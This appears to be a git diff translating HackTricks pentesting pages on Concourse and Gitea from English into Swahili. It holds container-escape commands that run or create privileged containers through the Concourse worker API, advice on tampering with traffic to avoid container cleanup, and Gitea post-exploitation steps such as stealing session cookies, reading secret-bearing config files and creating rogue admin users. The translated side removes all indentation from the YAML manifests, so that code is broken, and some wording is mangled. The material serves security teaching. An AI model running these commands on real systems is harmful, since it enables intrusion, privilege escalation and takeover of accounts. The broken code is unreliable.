release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Hata hivyo, mbinu kama **kuunganisha** kifaa cha /dev cha node au release_agent **hazitafanya kazi** (kwa sababu kifaa halisi chenye mfumo wa faili wa node hakiwezi kupatikana, ni kifaa cha virtual tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila exploits za kernel kunakuwa ngumu. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa kontena lenye mamlaka, hivyo ikiwa tunaweza **kutekeleza** amri katika **kontena lenye mamlaka** lililoundwa na **mfanyakazi** **wa sasa**, tunaweza **kutoroka hadi node**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Kumbuka kwamba nilipokuwa nikicheza na concourse niliona kwamba wakati kontena jipya linazaliwa ili kuendesha kitu, michakato ya kontena inapatikana kutoka kwa kontena la mfanyakazi, hivyo ni kama kontena kuunda kontena jipya ndani yake. +**Kuingia ndani ya kontena lenye mamlaka linaloendesha** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Kuunda kontena mpya yenye mamlaka** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Unaweza kwa urahisi kuunda kontena mpya (kimbia tu UID isiyo ya kawaida) na kutekeleza kitu ndani yake: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +Hata hivyo, seva ya wavuti inakagua kila sekunde chache kontena zinazotembea, na ikiwa kontena isiyotarajiwa itagundulika, itafutwa. Kadri mawasiliano yanavyofanyika katika HTTP, unaweza kuingilia mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Marejeo - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..9f2223acf 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -8,19 +8,16 @@ #### With Docker-Compose -This docker-compose file simplifies the installation to do some tests with concourse: - +Hii faili ya docker-compose inarahisisha usakinishaji ili kufanya majaribio na concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +Unaweza kupakua amri ya `fly` kwa ajili ya OS yako kutoka mtandao katika `127.0.0.1:8080` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Kwa Kubernetes (Inapendekezwa) +Unaweza kwa urahisi kupeleka concourse katika **Kubernetes** (katika **minikube** kwa mfano) kwa kutumia helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Baada ya kuunda mazingira ya concourse, unaweza kuunda siri na kutoa ufikiaji kwa SA inayotembea katika concourse web ili kufikia siri za K8s: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` - ### Create Pipeline -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +Pipeline inajumuisha orodha ya [Jobs](https://concourse-ci.org/jobs.html) ambayo ina orodha iliyopangwa ya [Steps](https://concourse-ci.org/steps.html). ### Steps -Several different type of steps can be used: +Aina kadhaa tofauti za hatua zinaweza kutumika: -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +- **hatua ya** [**`task` step**](https://concourse-ci.org/task-step.html) **inaendesha** [**task**](https://concourse-ci.org/tasks.html) +- hatua ya [`get` step](https://concourse-ci.org/get-step.html) inapata [resource](https://concourse-ci.org/resources.html) +- hatua ya [`put` step](https://concourse-ci.org/put-step.html) inasasisha [resource](https://concourse-ci.org/resources.html) +- hatua ya [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) inakamilisha [pipeline](https://concourse-ci.org/pipelines.html) +- hatua ya [`load_var` step](https://concourse-ci.org/load-var-step.html) inachukua thamani katika [local var](https://concourse-ci.org/vars.html#local-vars) +- hatua ya [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) inaendesha hatua kwa pamoja +- hatua ya [`do` step](https://concourse-ci.org/do-step.html) inaendesha hatua kwa mpangilio +- mrekebishaji wa hatua ya [`across` step](https://concourse-ci.org/across-step.html#schema.across) inaendesha hatua mara nyingi; mara moja kwa kila mchanganyiko wa thamani za mabadiliko +- hatua ya [`try` step](https://concourse-ci.org/try-step.html) inajaribu kuendesha hatua na inafanikiwa hata kama hatua inashindwa -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. +Kila [step](https://concourse-ci.org/steps.html) katika [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) inaendesha katika **konteina yake mwenyewe**. Unaweza kuendesha chochote unachotaka ndani ya konteina _(yaani, endesha majaribio yangu, endesha hii bash script, jenga picha hii, nk.)_. Hivyo basi, ikiwa una kazi yenye hatua tano, Concourse itaunda konteina tano, moja kwa kila hatua. -Therefore, it's possible to indicate the type of container each step needs to be run in. +Kwa hiyo, inawezekana kuashiria aina ya konteina ambayo kila hatua inahitaji kuendesha ndani yake. ### Simple Pipeline Example - ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` - Check **127.0.0.1:8080** to see the pipeline flow. ### Bash script with output/input pipeline -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +Ni **uwezekano wa kuhifadhi matokeo ya kazi moja kwenye faili** na kuashiria kwamba ni pato na kisha kuashiria ingizo la kazi inayofuata kama pato la kazi ya awali. Kile ambacho concourse hufanya ni **kuweka saraka ya kazi ya awali katika kazi mpya ambapo unaweza kufikia faili zilizoundwa na kazi ya awali**. ### Triggers -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +Huhitaji kuanzisha kazi kwa mikono kila wakati unapotaka kuzifanya, unaweza pia kuzipanga zifanyike kila wakati: -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- Wakati fulani unapita: [Time resource](https://github.com/concourse/time-resource/) +- Kwa kujitolea mpya kwenye tawi kuu: [Git resource](https://github.com/concourse/git-resource) +- PR mpya: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Pakua au sukuma picha ya hivi karibuni ya programu yako: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Angalia mfano wa YAML pipeline unaoanzisha kwenye kujitolea mpya kwa master katika [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..b8f58c3dc 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -4,7 +4,7 @@ ## What is Gitea -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** ni **ufumbuzi wa mwenyeji wa jamii unaosimamiwa kwa urahisi wa kuhifadhi msimbo** ulioandikwa kwa Go. ![](<../../images/image (160).png>) @@ -16,127 +16,115 @@ basic-gitea-information.md ## Lab -To run a Gitea instance locally you can just run a docker container: - +Ili kuendesha mfano wa Gitea kwa ndani unaweza tu kuendesha kontena la docker: ```bash docker run -p 3000:3000 gitea/gitea ``` - Connect to port 3000 to access the web page. You could also run it with kubernetes: - ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Uainishaji Usio na Uthibitisho -## Unauthenticated Enumeration +- Repos za umma: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Watumiaji waliosajiliwa: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Mashirika yaliyojregistered: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +Kumbuka kwamba kwa **kawaida Gitea inaruhusu watumiaji wapya kujiandikisha**. Hii haitatoa ufikiaji wa kuvutia kwa watumiaji wapya juu ya repos za mashirika/watumiaji wengine, lakini **mtumiaji aliyeingia** anaweza kuwa na uwezo wa **kuangalia repos au mashirika zaidi**. -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Ukatili wa Ndani -## Internal Exploitation +Kwa hali hii tunaenda kudhani kwamba umepata ufikiaji wa akaunti ya github. -For this scenario we are going to suppose that you have obtained some access to a github account. +### Kwa Misingi ya Mtumiaji/Keki ya Mtandao -### With User Credentials/Web Cookie +Ikiwa kwa namna fulani tayari una misingi ya mtumiaji ndani ya shirika (au umepora keki ya kikao) unaweza **kuingia tu** na kuangalia ni **idhana gani una** juu ya **repos,** katika **timu zipi** ulizo, **orodhesha watumiaji wengine**, na **repos zimewezeshwaje.** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia habari hii tu ikiwa unaweza pia **kupita ukaguzi huo**. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Kumbuka kwamba ikiwa **utafanikiwa kupora keki ya `i_like_gitea`** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji misingi au 2FA. -### With User SSH Key +### Kwa Funguo za SSH za Mtumiaji -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitatumika kama **njia ya uthibitisho ya kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika). +Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya mamlaka**, hata hivyo huwezi kuitumia kufikia api ya gitea ili kuainisha mazingira. Hata hivyo, unaweza **kuainisha mipangilio ya ndani** ili kupata habari kuhusu repos na mtumiaji ulionao ufikiaji: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la gitea unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Funguo za SSH** pia zinaweza kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Funguo za GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) wakati mwingine inahitajika kusaini ahadi au unaweza kugundulika. +Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Kwa Token ya Mtumiaji -### With User Token +Kwa utangulizi kuhusu [**Token za Mtumiaji angalia taarifa za msingi**](basic-gitea-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Token ya mtumiaji inaweza kutumika **badala ya nenosiri** ili **kuhakiki** dhidi ya seva ya Gitea [**kupitia API**](https://try.gitea.io/api/swagger#/). itakuwa na **ufikiaji kamili** juu ya mtumiaji. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### Kwa Programu ya Oauth -### With Oauth Application +Kwa utangulizi kuhusu [**Programu za Gitea Oauth angalia taarifa za msingi**](./#with-oauth-application). -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/hatua za kibali za watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Kama ilivyoelezwa katika taarifa za msingi, programu itakuwa na **ufikiaji kamili juu ya akaunti ya mtumiaji**. -As explained in the basic information, the application will have **full access over the user account**. +### Kupita Ulinzi wa Tawi -### Branch Protection Bypass +Katika Github tuna **github actions** ambazo kwa default hupata **token yenye ufikiaji wa kuandika** juu ya repo ambayo inaweza kutumika **kupita ulinzi wa tawi**. Katika kesi hii hiyo **haipo**, hivyo kupita ni mdogo zaidi. Lakini hebu tuangalie kile kinachoweza kufanywa: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Washa Push**: Ikiwa mtu yeyote mwenye ufikiaji wa kuandika anaweza kusukuma kwenye tawi, sukuma tu. +- **Orodha ya Push zilizozuiliwa**: Kwa njia ile ile, ikiwa wewe ni sehemu ya orodha hii sukuma kwenye tawi. +- **Washa Orodha ya Merging**: Ikiwa kuna orodha ya merging, unahitaji kuwa ndani yake. +- **Hitaji idhini ni kubwa kuliko 0**: Kisha... unahitaji kumaliza mtumiaji mwingine. +- **Zuia idhini kwa watumiaji waliotajwa**: Ikiwa ni watumiaji waliotajwa pekee wanaweza kuidhinisha... unahitaji kumaliza mtumiaji mwingine aliye ndani ya orodha hiyo. +- **Futa idhini za zamani**: Ikiwa idhini haziondolewa na commits mpya, unaweza kuingilia PR iliyothibitishwa tayari ili kuingiza msimbo wako na kuunganisha PR. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +Kumbuka kwamba **ikiwa wewe ni admin wa org/repo** unaweza kupita ulinzi. -Note that **if you are an org/repo admin** you can bypass the protections. +### Kuorodhesha Webhooks -### Enumerate Webhooks +**Webhooks** zinaweza **kutuma taarifa maalum za gitea mahali fulani**. Unaweza kuwa na uwezo wa **kuitumia mawasiliano hayo**.\ +Hata hivyo, kawaida **siri** ambayo huwezi **kuipata** imewekwa katika **webhook** ambayo itazuiya watumiaji wa nje wanaojua URL ya webhook lakini si siri kuweza **kuitumia webhook hiyo**.\ +Lakini katika matukio mengine, watu badala ya kuweka **siri** mahali pake, wana **iweka katika URL** kama parameter, hivyo **kuangalia URLs** kunaweza kukuruhusu **kupata siri** na maeneo mengine ambayo unaweza kuendeleza zaidi. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Webhooks zinaweza kuwekwa katika **repo na katika kiwango cha org**. -Webhooks can be set at **repo and at org level**. +## Baada ya Kutumia -## Post Exploitation +### Ndani ya seva -### Inside the server +Ikiwa kwa namna fulani umeweza kuingia ndani ya seva ambapo gitea inafanya kazi unapaswa kutafuta faili ya usanidi wa gitea. Kwa default iko katika `/data/gitea/conf/app.ini` -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +Katika faili hii unaweza kupata **funguo** na **nenosiri**. -In this file you can find **keys** and **passwords**. +Katika njia ya gitea (kwa default: /data/gitea) unaweza pia kupata taarifa za kuvutia kama: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- DB ya **sqlite**: Ikiwa gitea haitumii db ya nje itatumia db ya sqlite. +- **sessions** ndani ya folda za sessions: Ukikimbia `cat sessions/*/*/*` unaweza kuona majina ya watumiaji walioingia (gitea inaweza pia kuhifadhi sessions ndani ya DB). +- **jwt private key** ndani ya folda ya jwt. +- Taarifa zaidi **nyeti** zinaweza kupatikana katika folda hii. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Ikiwa uko ndani ya seva unaweza pia **kutumia `gitea` binary** kupata/kubadilisha taarifa: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` itatoa gitea na kuunda faili .zip. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` itaunda token ya aina iliyoonyeshwa (kuhifadhi). +- `gitea admin user change-password --username admin --password newpassword` Badilisha nenosiri. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Unda mtumiaji mpya wa admin na pata token ya ufikiaji. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..f61b898c3 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,104 +4,100 @@ ## Basic Structure -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +Muundo wa msingi wa mazingira ya Gitea ni kuunganisha repos kwa **organization(s),** kila moja inaweza kuwa na **repositories kadhaa** na **teams kadhaa.** Hata hivyo, kumbuka kwamba kama ilivyo katika github, watumiaji wanaweza kuwa na repos nje ya shirika. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Zaidi ya hayo, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika tofauti.** Ndani ya shirika, mtumiaji anaweza kuwa na **idhini tofauti juu ya kila repository.** -A user may also be **part of different teams** with different permissions over different repos. +Mtumiaji pia anaweza kuwa **sehemu ya teams tofauti** zikiwa na idhini tofauti juu ya repos tofauti. -And finally **repositories may have special protection mechanisms**. +Na hatimaye, **repositories zinaweza kuwa na mifumo maalum ya ulinzi.** ## Permissions ### Organizations -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Wakati **shirika linaundwa,** timu inayoitwa **Owners** inaundwa na mtumiaji anawekwa ndani yake. Timu hii itatoa **ufikiaji wa admin** juu ya **shirika,** hizo **idhini** na **jina** la timu **haziwezi kubadilishwa.** -**Org admins** (owners) can select the **visibility** of the organization: +**Org admins** (wamiliki) wanaweza kuchagua **mwonekano** wa shirika: -- Public -- Limited (logged in users only) -- Private (members only) +- Umma +- Kizuiwaji (watumiaji walioingia tu) +- Binafsi (wanachama tu) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Org admins** wanaweza pia kuonyesha ikiwa **repo admins** wanaweza **kuongeza au kuondoa ufikiaji** kwa teams. Wanaweza pia kuonyesha idadi ya juu ya repos. -When creating a new team, several important settings are selected: +Wakati wa kuunda timu mpya, mipangilio kadhaa muhimu inachaguliwa: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- Inabainishwa **repos za shirika ambazo wanachama wa timu wataweza kufikia**: repos maalum (repos ambapo timu imeongezwa) au zote. +- Pia inabainishwa **ikiwa wanachama wanaweza kuunda repos mpya** (mwandikaji atapata ufikiaji wa admin kwa hiyo) +- **Idhini** ambazo **wanachama** wa repo wata **kuwa nazo**: +- **Ukurugenzi** wa ufikiaji +- **Ukurugenzi** maalum: ![](<../../images/image (118).png>) ### Teams & Users -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +Katika repo, **org admin** na **repo admins** (ikiwa inaruhusiwa na shirika) wanaweza **kusimamia majukumu** yanayotolewa kwa washirikiano (watumiaji wengine) na teams. Kuna **3** majukumu yanayowezekana: -- Administrator -- Write -- Read +- Mkurugenzi +- Andika +- Soma ## Gitea Authentication ### Web Access -Using **username + password** and potentially (and recommended) a 2FA. +Kutumia **jina la mtumiaji + nenosiri** na labda (na inapendekezwa) 2FA. ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu funguo husika za **binafsi kufanya vitendo kwa niaba yako.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +Huwezi kujifanya kuwa mtumiaji kwa funguo hizi lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini.** ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa programu ufikiaji wa akaunti yako.** Token ya ufikiaji wa kibinafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) ### Oauth Applications -Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet: +Kama token za ufikiaji wa kibinafsi, **Oauth applications** zitakuwa na **ufikiaji kamili** juu ya 